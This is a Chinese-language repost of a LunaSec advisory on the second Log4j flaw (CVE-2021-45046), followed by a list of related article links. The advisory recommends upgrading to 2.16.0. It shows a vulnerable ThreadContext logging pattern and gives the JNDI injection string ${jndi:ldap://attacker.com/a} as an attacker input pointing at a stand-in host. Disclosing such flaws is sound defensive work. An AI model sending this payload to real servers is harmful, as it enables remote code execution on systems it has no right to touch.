Log4Shell 更新:第二個 log4j 漏洞已釋出 - lunasec
在 log4j 維護者釋出2.15.0解決 Log4Shell 漏洞的版本後,在CVE-2021-45046 中發現並報告了一個額外的攻擊,繼續建議您升級到2.16.0,以防發現進一步的漏洞來濫用此攻擊。
新的 CVE(CVE-2021-45046) 發現:
- Apache Log4j 2.15.0 中針對 CVE-2021-44228 的修復在某些非預設配置中不完整。
- 2.7.0 <= Apache log4j <= 2.14.1情況下,如設定系統屬性log4j2.noFormatMsgLookup為true不能減輕這種特定的漏洞。
Log4j 2.16.0 透過刪除對訊息查詢模式的支援和預設禁用 JNDI 功能來完全緩解此問題。
對於上述第二種情況的重現:
設定系統屬性log4j2.noFormatMsgLookup為true:
ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true |
如果你 Log4j2 屬性配置包括自定義格式:
appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n |
注意${ctx:apiversion}格式字串指的是ThreadContext中的一個名為apiversion值。ThreadContext是執行緒上下文,用來線上程之間共享變數或狀態的。
在程式碼中使用:
ThreadContext.put("apiversion", apiVersion);
就可以將apiversion值放入執行緒上下文,供Log4j的自定義格式使用。
例如詳細程式碼如下:
@GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Add user controlled input to threadcontext; // Used in log via ${ctx:apiversion} ThreadContext.put("apiversion", apiVersion); // Notice how these changes remove apiVersion from directly being logged logger.info("Received a request for API version"); return "Hello, world!"; } |
上述程式碼將外部輸入引數apiVersion直接儲存到執行緒上下文ThreadContext中,然後Log4j2再根據自定義配置將其列印輸出出來。
這是整個新的漏洞路徑。
如果攻擊者使用$ {jndi: ldap: //attacker.com/a}作為你的系統的輸入引數,也就是賦值給上述程式碼的apiVersion變數,就可以透過這個新的漏洞路徑執行他自己的任意程式了。
詳情點選標題
相關文章
- 在log4j日誌包中發現RCE 0-day漏洞 - lunasec
- Spring Boot 2.1.0 已釋出,7 個重大更新!Spring Boot
- 蘋果釋出iOS 12.1.4更新 已修復Facetime安全漏洞蘋果iOS
- Apache Log4j 被曝第 3 個漏洞:不受控遞迴 | Apache 官方已釋出 2.17 版本修復Apache遞迴
- 福昕釋出安全更新,PDF軟體存在多個漏洞
- SpringBoot2.1.0已釋出,7個重大更新你需要了解Spring Boot
- GeForce Experience曝出高危漏洞:NVIDIA緊急釋出更新
- 谷歌釋出2024年首個安全更新,修復Chrome六個高危漏洞谷歌Chrome
- 谷歌釋出安全更新,修復今年第十個0day漏洞谷歌
- 近日macOS Catalina 10.15.6補充更新已釋出Mac
- Adobe釋出安全更新 修復Acrobat和Reader中39個關鍵漏洞BAT
- 修復3個9.8分漏洞,微軟釋出12月累積更新微軟
- VxWorks釋出安全更新修復多個高危遠端程式碼執行漏洞
- 微軟釋出五月累積更新,修復74個安全漏洞微軟
- Excelize 2.5.0 釋出,2022 年首個更新Excelize
- Excelize 2.7.0 釋出, 2023 年首個更新Excelize
- macw資訊 macOS Catalina 10.15.6補充更新已釋出Mac
- 漏洞通告 |IBM釋出9月更新, 修復墨雲科技報告的漏洞IBM
- Jenkins釋出9月安全更新通告,披露多個安全漏洞,騰訊T-Sec Web應用防火牆已支援防禦JenkinsWeb防火牆
- GitLab 中文版正式釋出 17.5,修復多個漏洞,釋出多個功能Gitlab
- Kubernetes 部署神器 Skaffold 釋出第二個版本!
- GitHub 安全警告已檢測出 400 多萬個漏洞Github
- 蘋果釋出安全更新,修復已被利用的0day漏洞蘋果
- 修復高危漏洞,谷歌 Chrome 瀏覽器釋出 107 緊急更新谷歌Chrome瀏覽器
- 眾至科技漏洞通告 | 微軟11月釋出多個安全漏洞微軟
- 《霧鎖王國》迄今最大更新“冰域之靈”現已釋出!
- Jetpack Compose for Desktop第二個里程碑版本釋出Jetpack
- AdobeReader9.3.2釋出修補15個安全漏洞
- 惠普釋出產品安全公告,通告多個高危漏洞
- Go-sword 專案更新 : Gitbook 文件已釋出 + 官方 QQ 群已建立 + 官網已支援討論留言GoGit
- Debian 釋出安全更新修復近期披露的英特爾 MDS 安全漏洞
- Log4j漏洞原始碼分析原始碼
- TensorFlow 1.11.0 已正式釋出!
- Dart 2.15 現已釋出Dart
- Dart 2.16 現已釋出Dart
- Flutter 2.2 現已釋出!Flutter
- NPM包(模組)釋出、更新、撤銷釋出NPM
- Chrome 77釋出,修復遠端程式碼執行漏洞!請儘快更新!Chrome